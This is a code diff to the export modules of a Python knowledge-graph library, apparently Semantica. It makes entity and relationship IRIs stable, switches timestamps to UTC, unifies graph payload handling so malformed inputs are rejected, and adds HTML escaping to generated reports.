"relationship_count": len(relationships),
|
||||
**options.get("metadata", {}),
|
||||
},
|
||||
@@ -339,7 +341,7 @@ class JSONExporter:
|
||||
if include_metadata:
|
||||
if "metadata" not in result:
|
||||
result["metadata"] = {}
|
||||
result["metadata"]["exported_at"] = datetime.now().isoformat()
|
||||
result["metadata"]["exported_at"] = utc_now_iso()
|
||||
if include_provenance:
|
||||
result["metadata"]["format"] = "json"
|
||||
|
||||
@@ -349,7 +351,7 @@ class JSONExporter:
|
||||
"data": data,
|
||||
"count": len(data),
|
||||
"metadata": {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
"format": "json" if include_provenance else None,
|
||||
**options.get("metadata", {}),
|
||||
},
|
||||
@@ -358,7 +360,7 @@ class JSONExporter:
|
||||
# Single value
|
||||
return {
|
||||
"value": data,
|
||||
"metadata": {"exported_at": datetime.now().isoformat()}
|
||||
"metadata": {"exported_at": utc_now_iso()}
|
||||
if include_metadata
|
||||
else {},
|
||||
}
|
||||
@@ -410,9 +412,9 @@ class JSONExporter:
|
||||
|
||||
# Add metadata and provenance if requested
|
||||
if include_metadata:
|
||||
jsonld["@id"] = f"https://semantica.dev/data/{datetime.now().isoformat()}"
|
||||
jsonld["@id"] = f"https://semantica.dev/data/{utc_now_iso()}"
|
||||
if include_provenance:
|
||||
jsonld["semantica:exportedAt"] = datetime.now().isoformat()
|
||||
jsonld["semantica:exportedAt"] = utc_now_iso()
|
||||
jsonld["semantica:format"] = "json-ld"
|
||||
|
||||
return jsonld
|
||||
@@ -444,7 +446,7 @@ class JSONExporter:
|
||||
"nodes": kg.get("nodes", []),
|
||||
"edges": kg.get("edges", []),
|
||||
"metadata": {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
**kg.get("metadata", {}),
|
||||
**options.get("metadata", {}),
|
||||
},
|
||||
@@ -481,7 +483,7 @@ class JSONExporter:
|
||||
"rdf": "http://www.w3.org/1999/02/22-rdf-syntax-ns#",
|
||||
"rdfs": "http://www.w3.org/2000/01/rdf-schema#",
|
||||
},
|
||||
"@id": f"https://semantica.dev/graph/{datetime.now().isoformat()}",
|
||||
"@id": f"https://semantica.dev/graph/{utc_now_iso()}",
|
||||
"@type": "semantica:KnowledgeGraph",
|
||||
}
|
||||
|
||||
@@ -495,14 +497,15 @@ class JSONExporter:
|
||||
relationships = kg.get("relationships", [])
|
||||
if relationships:
|
||||
jsonld["semantica:relationships"] = [
|
||||
self._relationship_to_jsonld(r) for r in relationships
|
||||
self._relationship_to_jsonld(r, index)
|
||||
for index, r in enumerate(relationships)
|
||||
]
|
||||
self.logger.debug(
|
||||
f"Converted {len(relationships)} relationship(s) to JSON-LD"
|
||||
)
|
||||
|
||||
# Add metadata
|
||||
jsonld["semantica:exportedAt"] = datetime.now().isoformat()
|
||||
jsonld["semantica:exportedAt"] = utc_now_iso()
|
||||
if "metadata" in kg:
|
||||
jsonld["semantica:metadata"] = kg["metadata"]
|
||||
|
||||
@@ -526,11 +529,13 @@ class JSONExporter:
|
||||
Returns:
|
||||
Dictionary in JSON-LD format representing the entity
|
||||
"""
|
||||
# Generate @id if not provided
|
||||
entity_id = entity.get("id")
|
||||
if not entity_id:
|
||||
entity_text = entity.get("text") or entity.get("label", "unknown")
|
||||
entity_id = f"semantica:entity/{entity_text}"
|
||||
# Generate @id if not provided. Minted exactly as the RDF serializers
|
||||
# mint it (#1101), so the JSON-LD and Turtle exports of one knowledge
|
||||
# graph name the same entity with the same IRI. Interpolating the raw
|
||||
# text into f"semantica:entity/{text}" produced an invalid IRI for any
|
||||
# text containing a space, and a JSON-LD parser dropped the whole node.
|
||||
entity_text = entity.get("text") or entity.get("label", "unknown")
|
||||
entity_id = entity.get("id") or mint_entity_iri(entity_text)
|
||||
|
||||
jsonld = {
|
||||
"@id": entity_id,
|
||||
@@ -545,7 +550,9 @@ class JSONExporter:
|
||||
|
||||
return jsonld
|
||||
|
||||
def _relationship_to_jsonld(self, rel: Dict[str, Any]) -> Dict[str, Any]:
|
||||
def _relationship_to_jsonld(
|
||||
self, rel: Dict[str, Any], index: int = 0
|
||||
) -> Dict[str, Any]:
|
||||
"""
|
||||
Convert relationship to JSON-LD format.
|
||||
|
||||
@@ -560,16 +567,18 @@ class JSONExporter:
|
||||
- type: Relationship type (optional)
|
||||
- confidence: Confidence score (optional)
|
||||
- metadata: Metadata dictionary (optional)
|
||||
index: Position of the relationship in the exported list, used when
|
||||
minting an IRI for a relationship that arrived without an id
|
||||
|
||||
Returns:
|
||||
Dictionary in JSON-LD format representing the relationship
|
||||
"""
|
||||
# Generate @id if not provided
|
||||
rel_id = rel.get("id")
|
||||
if not rel_id:
|
||||
source_id = rel.get("source_id") or rel.get("source", "")
|
||||
target_id = rel.get("target_id") or rel.get("target", "")
|
||||
rel_id = f"semantica:rel/{source_id}_{target_id}"
|
||||
# Generate @id if not provided, from the same mint the RDF serializers
|
||||
# use, including the list index that separates two relationships
|
||||
# sharing a pair of endpoints (#1101).
|
||||
source_id = rel.get("source_id") or rel.get("source", "")
|
||||
target_id = rel.get("target_id") or rel.get("target", "")
|
||||
rel_id = rel.get("id") or mint_relationship_iri(index, source_id, target_id)
|
||||
|
||||
jsonld = {
|
||||
"@id": rel_id,
|
||||
|
||||
@@ -24,7 +24,7 @@ from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.helpers import ensure_directory
|
||||
from ..utils.helpers import _require_mapping, ensure_directory, normalize_graph_payload
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
@@ -154,15 +154,26 @@ class LPGExporter:
|
||||
"""
|
||||
queries = []
|
||||
|
||||
# Generate indexes if requested
|
||||
if self.include_indexes:
|
||||
queries.extend(self._generate_indexes(knowledge_graph))
|
||||
# A non-mapping payload cannot reach normalize_graph_payload(): it
|
||||
# raises ValidationError for that case, which would leave this
|
||||
# exporter alone in raising a different exception type than the YAML
|
||||
# and Neo4j exporters raise for the identical mistake.
|
||||
_require_mapping(
|
||||
knowledge_graph, ("entities", "relationships", "nodes", "edges")
|
||||
)
|
||||
|
||||
# Extract entities and relationships
|
||||
entities = knowledge_graph.get("entities", [])
|
||||
relationships = knowledge_graph.get("relationships", [])
|
||||
nodes = knowledge_graph.get("nodes", entities)
|
||||
edges = knowledge_graph.get("edges", relationships)
|
||||
# Accept either vocabulary. Reading 'nodes' with 'entities' as the
|
||||
# default dropped every entity when 'nodes' was present but empty --
|
||||
# the shape JSONExporter emits -- so resolution is centralized.
|
||||
normalized = normalize_graph_payload(knowledge_graph)
|
||||
nodes = normalized["entities"]
|
||||
edges = normalized["relationships"]
|
||||
|
||||
# Generate indexes if requested. Fed the normalized entities so index
|
||||
# generation sees the same records as node generation; reading
|
||||
# 'entities' directly here skipped indexes for nodes/edges payloads.
|
||||
if self.include_indexes:
|
||||
queries.extend(self._generate_indexes(nodes))
|
||||
|
||||
# Generate node creation queries
|
||||
node_queries = self._generate_node_queries(nodes)
|
||||
@@ -174,13 +185,18 @@ class LPGExporter:
|
||||
|
||||
return queries
|
||||
|
||||
def _generate_indexes(self, knowledge_graph: Dict[str, Any]) -> List[str]:
|
||||
"""Generate Cypher index and constraint creation queries."""
|
||||
def _generate_indexes(self, entities: List[Dict[str, Any]]) -> List[str]:
|
||||
"""Generate Cypher index and constraint creation queries.
|
||||
|
||||
Args:
|
||||
entities: Entity records, already resolved from whichever
|
||||
vocabulary the caller supplied.
|
||||
"""
|
||||
indexes = []
|
||||
|
||||
# Get unique entity types for labels
|
||||
entity_types = set()
|
||||
for entity in knowledge_graph.get("entities", []):
|
||||
for entity in entities:
|
||||
entity_type = entity.get("type") or entity.get("entity_type")
|
||||
if entity_type:
|
||||
entity_types.add(entity_type)
|
||||
|
||||
@@ -494,7 +494,7 @@ def export_graph(
|
||||
|
||||
|
||||
def export_yaml(
|
||||
data: Union[Dict[str, Any], List[Dict[str, Any]]],
|
||||
data: Dict[str, Any],
|
||||
file_path: Union[str, Path],
|
||||
method: str = "semantic_network",
|
||||
**kwargs,
|
||||
@@ -504,14 +504,32 @@ def export_yaml(
|
||||
|
||||
This is a user-friendly wrapper that exports data to YAML format.
|
||||
|
||||
Unlike :func:`export_json` and :func:`export_csv`, which treat a list as
|
||||
opaque records, both YAML methods are keyed formats: they distinguish
|
||||
entities from relationships from triplets (and classes from properties
|
||||
for ``method="schema"``). A bare list is therefore rejected rather than
|
||||
guessed at, since inferring which collection it represents would silently
|
||||
mislabel the records.
|
||||
|
||||
Args:
|
||||
data: Data to export (semantic network, entities, relationships)
|
||||
data: Data to export, as a mapping. For ``method="semantic_network"``,
|
||||
keyed by 'entities'/'relationships'/'triplets'; for
|
||||
``method="schema"``, by 'classes'/'properties'.
|
||||
file_path: Output YAML file path
|
||||
method: Export method (default: "semantic_network")
|
||||
- "semantic_network": Semantic network YAML export
|
||||
- "schema": Schema YAML export
|
||||
**kwargs: Additional options passed to YAML exporters
|
||||
|
||||
Raises:
|
||||
ProcessingError: if ``data`` is not a mapping, or if ``method`` is not
|
||||
a known YAML export method.
|
||||
ValidationError: if ``data`` is a mapping whose keys the selected
|
||||
exporter does not read -- an ``export_json`` envelope
|
||||
(``{"data": [...], "count": N, "metadata": {...}}``) is the
|
||||
common case. Such a payload used to be written out as a valid
|
||||
YAML file with every collection empty.
|
||||
|
||||
Examples:
|
||||
>>> from semantica.export.methods import export_yaml
|
||||
>>> export_yaml(semantic_network, "network.yaml", method="semantic_network")
|
||||
|
||||
@@ -32,12 +32,13 @@ from __future__ import annotations
|
||||
import csv
|
||||
import hashlib
|
||||
import json
|
||||
from collections.abc import Mapping
|
||||
from dataclasses import asdict, is_dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, Iterable, List, Optional, Sequence, Union
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.helpers import ensure_directory
|
||||
from ..utils.helpers import ensure_directory, normalize_graph_payload
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
@@ -173,6 +174,19 @@ class Neo4jCSVExporter:
|
||||
|
||||
Returns:
|
||||
Mapping with ``"nodes"`` and ``"relationships"`` output paths.
|
||||
|
||||
Raises:
|
||||
ValidationError: if a mapping payload carries no recognized graph
|
||||
key, resolves to nothing while an unread key still holds
|
||||
records, or holds something other than records under one --
|
||||
see
|
||||
:func:`~semantica.utils.helpers.normalize_graph_payload`.
|
||||
Each would otherwise be written out as header-only CSVs
|
||||
indistinguishable from a genuinely empty graph. The payload is
|
||||
normalized before any file is opened, so a rejected export
|
||||
writes nothing.
|
||||
ProcessingError: if a non-mapping payload exposes none of the
|
||||
graph attributes.
|
||||
"""
|
||||
output_dir = Path(output_dir)
|
||||
ensure_directory(output_dir)
|
||||
@@ -494,9 +508,19 @@ class Neo4jCSVExporter:
|
||||
return prepared
|
||||
|
||||
def _normalize_graph(self, graph: Any) -> Dict[str, List[Dict[str, Any]]]:
|
||||
if isinstance(graph, dict):
|
||||
nodes = graph.get("nodes") or graph.get("entities") or []
|
||||
relationships = graph.get("edges") or graph.get("relationships") or []
|
||||
if isinstance(graph, Mapping):
|
||||
# Mapping payloads go through the shared resolver on its default
|
||||
# terms, so this backend cannot drift from the others: an
|
||||
# unrecognized mapping raises here rather than writing header-only
|
||||
# CSVs that read as a successful export of an empty graph. Checked
|
||||
# against Mapping rather than dict, so a non-dict Mapping (a
|
||||
# MappingProxyType, a ChainMap) takes this path too, instead of
|
||||
# falling through to the attribute branch below and being rejected
|
||||
# as an unrecognized object -- the LPG, Arango, and YAML exporters
|
||||
# already accept such payloads via the same resolver.
|
||||
resolved = normalize_graph_payload(graph)
|
||||
nodes = resolved["entities"]
|
||||
relationships = resolved["relationships"]
|
||||
else:
|
||||
nodes = getattr(graph, "nodes", None)
|
||||
if nodes is None:
|
||||
|
||||
@@ -33,11 +33,42 @@ from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Set, Union
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.helpers import ensure_directory
|
||||
from ..utils.helpers import ensure_directory, hash_data
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
|
||||
SEMANTICA_NS = "https://semantica.dev/ns#"
|
||||
|
||||
#: Written when an entity carries no type of its own. A full IRI rather than the
|
||||
#: prefixed form, because the Turtle serializer writes it inside angle brackets,
|
||||
#: where `semantica:Entity` would be read as an IRI in the scheme `semantica`
|
||||
#: rather than as the prefix expansion (issue #1101).
|
||||
DEFAULT_ENTITY_TYPE = f"{SEMANTICA_NS}Entity"
|
||||
|
||||
#: Written when a relationship carries no type of its own. Same reasoning.
|
||||
DEFAULT_RELATION_TYPE = f"{SEMANTICA_NS}related_to"
|
||||
|
||||
|
||||
def mint_entity_iri(text: str) -> str:
|
||||
"""Mint a stable IRI for an entity that arrived without an id.
|
||||
|
||||
Python's builtin ``hash()`` is randomised per process (PYTHONHASHSEED), so
|
||||
minting from it gave the same entity a different IRI on every run: exports
|
||||
could not be diffed, deduplicated against an earlier load, or joined to a
|
||||
provenance record written by an earlier process. SHA-256 is stable across
|
||||
runs and machines, which is what an identifier has to be.
|
||||
"""
|
||||
digest = hash_data(str(text))[:16]
|
||||
return f"{SEMANTICA_NS}entity_{digest}"
|
||||
|
||||
|
||||
def mint_relationship_iri(index: int, source: Any, target: Any) -> str:
|
||||
"""Mint a stable IRI for a relationship that arrived without an id."""
|
||||
digest = hash_data(f"{source}\x00{target}")[:16]
|
||||
return f"{SEMANTICA_NS}rel_{index}_{digest}"
|
||||
|
||||
|
||||
class NamespaceManager:
|
||||
"""
|
||||
RDF namespace management engine.
|
||||
@@ -360,9 +391,9 @@ class RDFSerializer:
|
||||
entity_id = entity.get("id")
|
||||
if not entity_id:
|
||||
entity_text = entity.get("text", "")
|
||||
entity_id = f"semantica:entity_{hash(entity_text)}"
|
||||
entity_id = mint_entity_iri(entity_text)
|
||||
|
||||
entity_type = entity.get("type", "semantica:Entity")
|
||||
entity_type = entity.get("type", DEFAULT_ENTITY_TYPE)
|
||||
text = entity.get("text") or entity.get("label", "")
|
||||
confidence = entity.get("confidence", 1.0)
|
||||
|
||||
@@ -376,7 +407,7 @@ class RDFSerializer:
|
||||
for idx, rel in enumerate(relationships):
|
||||
source_id = rel.get("source_id") or rel.get("source")
|
||||
target_id = rel.get("target_id") or rel.get("target")
|
||||
rel_type = rel.get("type", "semantica:related_to")
|
||||
rel_type = rel.get("type", DEFAULT_RELATION_TYPE)
|
||||
|
||||
lines.append(f"<{source_id}> <{rel_type}> <{target_id}> .")
|
||||
|
||||
@@ -413,10 +444,14 @@ class RDFSerializer:
|
||||
if time_axis in ("transaction", "both"):
|
||||
axes.append(("tx", rel.get("recorded_at"), rel.get("superseded_at")))
|
||||
|
||||
rel_base_id = (
|
||||
rel.get("id")
|
||||
or f"semantica:rel_{idx}_{hash(str(rel.get('source_id', '')) + str(rel.get('target_id', '')))}"
|
||||
)
|
||||
# Resolve endpoints the same way serialize_to_turtle does: both
|
||||
# representations are accepted upstream, and minting from source_id
|
||||
# alone hashes empty strings for every relationship that uses source,
|
||||
# so unrelated relationships at the same index would collide on a
|
||||
# deterministic IRI.
|
||||
source_id = rel.get("source_id") or rel.get("source") or ""
|
||||
target_id = rel.get("target_id") or rel.get("target") or ""
|
||||
rel_base_id = rel.get("id") or mint_relationship_iri(idx, source_id, target_id)
|
||||
|
||||
lines = [""] # blank separator
|
||||
for axis_name, from_val, until_val in axes:
|
||||
@@ -488,9 +523,9 @@ class RDFSerializer:
|
||||
entity_id = entity.get("id")
|
||||
if not entity_id:
|
||||
entity_text = entity.get("text", "")
|
||||
entity_id = f"semantica:entity_{hash(entity_text)}"
|
||||
entity_id = mint_entity_iri(entity_text)
|
||||
|
||||
entity_type = entity.get("type", "semantica:Entity")
|
||||
entity_type = entity.get("type", DEFAULT_ENTITY_TYPE)
|
||||
text = entity.get("text") or entity.get("label", "")
|
||||
confidence = entity.get("confidence", 1.0)
|
||||
|
||||
@@ -565,11 +600,13 @@ class RDFSerializer:
|
||||
# Convert entities to JSON-LD
|
||||
entities = rdf_data.get("entities", [])
|
||||
for entity in entities:
|
||||
# Generate @id if not provided
|
||||
entity_id = entity.get("id")
|
||||
if not entity_id:
|
||||
entity_text = entity.get("text", "")
|
||||
entity_id = f"semantica:entity/{entity_text}"
|
||||
# Generate @id if not provided. Minted the same way the Turtle and
|
||||
# N-Triples paths mint it (#1101), so one knowledge graph carries
|
||||
# the same node identity whichever serializer wrote it. The former
|
||||
# f"semantica:entity/{text}" interpolated the raw text into an IRI:
|
||||
# any entity whose text contained a space produced an invalid IRI
|
||||
# and was dropped in full by a JSON-LD parser, silently.
|
||||
entity_id = entity.get("id") or mint_entity_iri(entity.get("text", ""))
|
||||
|
||||
jsonld["@graph"].append(
|
||||
{
|
||||
@@ -582,24 +619,22 @@ class RDFSerializer:
|
||||
|
||||
# Convert relationships to JSON-LD
|
||||
relationships = rdf_data.get("relationships", [])
|
||||
for rel in relationships:
|
||||
# Generate @id if not provided
|
||||
rel_id = rel.get("id")
|
||||
if not rel_id:
|
||||
source_id = rel.get("source_id", "")
|
||||
target_id = rel.get("target_id", "")
|
||||
rel_id = f"semantica:rel/{source_id}_{target_id}"
|
||||
for index, rel in enumerate(relationships):
|
||||
# Endpoints are resolved both ways, as serialize_to_turtle resolves
|
||||
# them: a relationship carrying source/target rather than
|
||||
# source_id/target_id used to hash into f"semantica:rel/_", so every
|
||||
# such relationship in an export collapsed onto one node and their
|
||||
# types and endpoints merged.
|
||||
source = rel.get("source_id") or rel.get("source", "")
|
||||
target = rel.get("target_id") or rel.get("target", "")
|
||||
rel_id = rel.get("id") or mint_relationship_iri(index, source, target)
|
||||
|
||||
jsonld["@graph"].append(
|
||||
{
|
||||
"@id": rel_id,
|
||||
"@type": "semantica:Relationship",
|
||||
"semantica:source": {
|
||||
"@id": rel.get("source_id") or rel.get("source")
|
||||
},
|
||||
"semantica:target": {
|
||||
"@id": rel.get("target_id") or rel.get("target")
|
||||
},
|
||||
"semantica:source": {"@id": source},
|
||||
"semantica:target": {"@id": target},
|
||||
"semantica:type": rel.get("type", "related_to"),
|
||||
}
|
||||
)
|
||||
@@ -644,7 +679,7 @@ class RDFSerializer:
|
||||
entity_id = entity.get("id")
|
||||
if not entity_id:
|
||||
entity_text = entity.get("text", "")
|
||||
entity_id = f"semantica:entity_{hash(entity_text)}"
|
||||
entity_id = mint_entity_iri(entity_text)
|
||||
|
||||
subject = expand_uri(entity_id)
|
||||
|
||||
|
||||
@@ -23,13 +23,13 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
import html
|
||||
import json
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.helpers import ensure_directory
|
||||
from ..utils.helpers import ensure_directory, utc_now_iso
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
@@ -251,7 +251,7 @@ class ReportGenerator:
|
||||
# Build report data with summary
|
||||
report_data = {
|
||||
"title": "Quality Assurance Report",
|
||||
"generated_at": datetime.now().isoformat(),
|
||||
"generated_at": utc_now_iso(),
|
||||
"metrics": quality_metrics,
|
||||
"summary": self._generate_quality_summary(quality_metrics),
|
||||
}
|
||||
@@ -277,7 +277,7 @@ class ReportGenerator:
|
||||
"""
|
||||
report_data = {
|
||||
"title": "Analysis Report",
|
||||
"generated_at": datetime.now().isoformat(),
|
||||
"generated_at": utc_now_iso(),
|
||||
"analysis": analysis_results,
|
||||
"summary": self._generate_analysis_summary(analysis_results),
|
||||
}
|
||||
@@ -303,7 +303,7 @@ class ReportGenerator:
|
||||
"""
|
||||
report_data = {
|
||||
"title": "Framework Metrics Report",
|
||||
"generated_at": datetime.now().isoformat(),
|
||||
"generated_at": utc_now_iso(),
|
||||
"metrics": metrics,
|
||||
"summary": self._generate_metrics_summary(metrics),
|
||||
}
|
||||
@@ -362,7 +362,7 @@ class ReportGenerator:
|
||||
' <meta name="viewport" content="width=device-width, initial-scale=1.0">'
|
||||
)
|
||||
title = data.get("title", "Report")
|
||||
lines.append(f" <title>{title}</title>")
|
||||
lines.append(f" <title>{html.escape(str(title))}</title>")
|
||||
lines.append(" <style>")
|
||||
lines.append(" body { font-family: Arial, sans-serif; margin: 20px; }")
|
||||
lines.append(" h1 { color: #333; }")
|
||||
@@ -380,11 +380,14 @@ class ReportGenerator:
|
||||
|
||||
# Title
|
||||
title = data.get("title", "Report")
|
||||
lines.append(f" <h1>{title}</h1>")
|
||||
lines.append(f" <h1>{html.escape(str(title))}</h1>")
|
||||
|
||||
# Generated at
|
||||
if "generated_at" in data:
|
||||
lines.append(f' <p><strong>Generated:</strong> {data["generated_at"]}</p>')
|
||||
lines.append(
|
||||
f' <p><strong>Generated:</strong> '
|
||||
f'{html.escape(str(data["generated_at"]))}</p>'
|
||||
)
|
||||
|
||||
# Summary
|
||||
if "summary" in data:
|
||||
@@ -393,10 +396,13 @@ class ReportGenerator:
|
||||
if isinstance(summary, dict):
|
||||
lines.append(" <ul>")
|
||||
for key, value in summary.items():
|
||||
lines.append(f" <li><strong>{key}:</strong> {value}</li>")
|
||||
lines.append(
|
||||
f" <li><strong>{html.escape(str(key))}:</strong> "
|
||||
f"{html.escape(str(value))}</li>"
|
||||
)
|
||||
lines.append(" </ul>")
|
||||
else:
|
||||
lines.append(f" <p>{summary}</p>")
|
||||
lines.append(f" <p>{html.escape(str(summary))}</p>")
|
||||
|
||||
# Metrics
|
||||
if "metrics" in data:
|
||||
@@ -483,7 +489,10 @@ class ReportGenerator:
|
||||
else:
|
||||
value_str = str(value)
|
||||
|
||||
lines.append(f" <tr><td>{key}</td><td>{value_str}</td></tr>")
|
||||
lines.append(
|
||||
f" <tr><td>{html.escape(str(key))}</td>"
|
||||
f"<td>{html.escape(value_str)}</td></tr>"
|
||||
)
|
||||
|
||||
lines.append(" </table>")
|
||||
|
||||
|
||||
@@ -21,15 +21,83 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
from datetime import datetime
|
||||
from collections.abc import Mapping
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.helpers import ensure_directory
|
||||
from ..utils.exceptions import ValidationError
|
||||
from ..utils.helpers import (
|
||||
_require_mapping,
|
||||
_require_nothing_dropped,
|
||||
_require_recognized_keys,
|
||||
ensure_directory,
|
||||
normalize_graph_payload,
|
||||
utc_now_iso,
|
||||
)
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
# Keys YAMLSchemaExporter.export_ontology_schema reads. Graph payloads use the
|
||||
# recognized set owned by normalize_graph_payload() instead; schemas are a
|
||||
# separate vocabulary with no aliasing, so the set lives here.
|
||||
_SCHEMA_KEYS = (
|
||||
"classes",
|
||||
"properties",
|
||||
"namespaces",
|
||||
"uri",
|
||||
"title",
|
||||
"description",
|
||||
"version",
|
||||
)
|
||||
|
||||
|
||||
def _require_usable_schema(ontology: Mapping) -> None:
|
||||
"""Reject a schema mapping this exporter cannot read.
|
||||
|
||||
Two ways an ontology mapping produces an empty file: it shares no key with
|
||||
the recognized set at all, or it names a recognized key that is empty
|
||||
while the real records sit under a key this exporter does not read
|
||||
(``{"classes": [], "nodes": [...]}``). Both are refused, using the same
|
||||
checks the graph payloads go through, so the two vocabularies cannot drift
|
||||
apart in what they consider a silent-empty export.
|
||||
|
||||
An empty mapping is allowed through: it carries nothing that could be
|
||||
lost, and an empty export is a legitimate result.
|
||||
|
||||
Note the deliberate split in exception types, which the codebase already
|
||||
makes: a wrong *type* cannot be exported at all and raises
|
||||
ProcessingError, matching ``Neo4jCSVExporter._normalize_graph``; a mapping
|
||||
whose *contents* are unusable raises ValidationError, matching
|
||||
``normalize_graph_payload``.
|
||||
|
||||
Args:
|
||||
ontology: Mapping already checked by :func:`_require_mapping`.
|
||||
|
||||
Raises:
|
||||
ValidationError: if the mapping shares no key with ``_SCHEMA_KEYS``,
|
||||
or resolves to nothing while an unread key still holds records.
|
||||
"""
|
||||
_require_recognized_keys(ontology, _SCHEMA_KEYS, what="Ontology schema")
|
||||
# Only non-empty list/tuple values from recognized schema keys count as
|
||||
# evidence that records survived export. Scalar metadata fields such as
|
||||
# 'uri', 'title', 'description', and 'version' are truthy strings, but
|
||||
# their presence does not mean the caller's record collections were
|
||||
# exported -- passing them as ``resolved`` would let any scalar value
|
||||
# short-circuit the dropped-records check and silently discard a list
|
||||
# under an unread key alongside e.g. {"version": "1.0", "nodes": [...]}.
|
||||
resolved = [
|
||||
v
|
||||
for key in _SCHEMA_KEYS
|
||||
for v in (ontology.get(key),)
|
||||
if isinstance(v, (list, tuple)) and v
|
||||
]
|
||||
_require_nothing_dropped(
|
||||
ontology,
|
||||
_SCHEMA_KEYS,
|
||||
resolved,
|
||||
what="Ontology schema",
|
||||
)
|
||||
|
||||
|
||||
class SemanticNetworkYAMLExporter:
|
||||
"""
|
||||
@@ -90,15 +158,39 @@ class SemanticNetworkYAMLExporter:
|
||||
|
||||
Args:
|
||||
semantic_network: Semantic network dictionary containing:
|
||||
- entities: List of entity dictionaries
|
||||
- entities: List of entity dictionaries (alias: 'nodes')
|
||||
- relationships: List of relationship dictionaries
|
||||
(alias: 'edges')
|
||||
- triplets: List of triplet dictionaries (optional)
|
||||
- metadata: Metadata dictionary (optional)
|
||||
|
||||
Key resolution is delegated to
|
||||
:func:`~semantica.utils.helpers.normalize_graph_payload`, so
|
||||
``ContextGraph.to_dict()`` output ('nodes'/'edges') exports
|
||||
directly.
|
||||
**options: Additional export options (unused)
|
||||
|
||||
Returns:
|
||||
String containing YAML representation of semantic network
|
||||
|
||||
Raises:
|
||||
ProcessingError: if ``semantic_network`` is not a mapping. A bare
|
||||
list of records cannot be exported here because this format
|
||||
distinguishes entities, relationships, and triplets, and
|
||||
guessing which one a list represents would silently mislabel
|
||||
it.
|
||||
ValidationError: if the mapping carries both spellings of a
|
||||
collection with different contents; if it is non-empty and
|
||||
shares no key with the recognized set; or if it resolves to
|
||||
nothing while an unread key still holds records
|
||||
(``{"entities": [], "data": [...]}``). Each previously
|
||||
serialized to a file with every collection empty while the log
|
||||
reported success. An empty mapping is still accepted -- it has
|
||||
no records to lose. Note that 'metadata' alone is not a
|
||||
recognized key: an ``export_json`` envelope carries one, and
|
||||
accepting it would readmit the silent-empty export it is the
|
||||
most likely source of.
|
||||
|
||||
Example:
|
||||
>>> network = {
|
||||
... "entities": [...],
|
||||
@@ -107,6 +199,8 @@ class SemanticNetworkYAMLExporter:
|
||||
... }
|
||||
>>> yaml_str = exporter.export_semantic_network(network)
|
||||
"""
|
||||
_require_mapping(semantic_network, ("entities", "relationships", "triplets"))
|
||||
|
||||
# Track YAML export
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
file=None,
|
||||
@@ -119,15 +213,14 @@ class SemanticNetworkYAMLExporter:
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, message="Preparing YAML data..."
|
||||
)
|
||||
records = normalize_graph_payload(semantic_network)
|
||||
yaml_data = {
|
||||
"metadata": {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
"version": "1.0",
|
||||
**semantic_network.get("metadata", {}),
|
||||
},
|
||||
"entities": semantic_network.get("entities", []),
|
||||
"relationships": semantic_network.get("relationships", []),
|
||||
"triplets": semantic_network.get("triplets", []),
|
||||
**records,
|
||||
}
|
||||
|
||||
self.progress_tracker.update_tracking(
|
||||
@@ -140,7 +233,7 @@ class SemanticNetworkYAMLExporter:
|
||||
self.progress_tracker.stop_tracking(
|
||||
tracking_id,
|
||||
status="completed",
|
||||
message="Exported semantic network to YAML",
|
||||
message="Serialized semantic network to YAML",
|
||||
)
|
||||
return result
|
||||
|
||||
@@ -160,16 +253,46 @@ class SemanticNetworkYAMLExporter:
|
||||
data: Data to export
|
||||
file_path: Output file path
|
||||
**options: Additional options
|
||||
|
||||
Raises:
|
||||
ProcessingError: if ``data`` is not a mapping.
|
||||
ValidationError: on the mappings :meth:`export_semantic_network`
|
||||
rejects. Serialization runs before the output directory is
|
||||
created, so a rejected export leaves nothing behind.
|
||||
OSError: if the file cannot be written. The write is tracked
|
||||
separately from serialization, so no progress entry reports a
|
||||
completed export until the bytes are on disk.
|
||||
"""
|
||||
file_path = Path(file_path)
|
||||
ensure_directory(file_path.parent)
|
||||
|
||||
yaml_content = self.export_semantic_network(data, **options)
|
||||
|
||||
with open(file_path, "w", encoding="utf-8") as f:
|
||||
f.write(yaml_content)
|
||||
# Serialization reports its own completion, but it says nothing about
|
||||
# the file: without this second span, a failing write would leave the
|
||||
# tracker showing a completed export and no output.
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
file=str(file_path),
|
||||
module="export",
|
||||
submodule="SemanticNetworkYAMLExporter",
|
||||
message=f"Writing YAML to {file_path}",
|
||||
)
|
||||
|
||||
self.logger.info(f"Exported YAML to: {file_path}")
|
||||
try:
|
||||
ensure_directory(file_path.parent)
|
||||
with open(file_path, "w", encoding="utf-8") as f:
|
||||
f.write(yaml_content)
|
||||
|
||||
self.logger.info(f"Exported YAML to: {file_path}")
|
||||
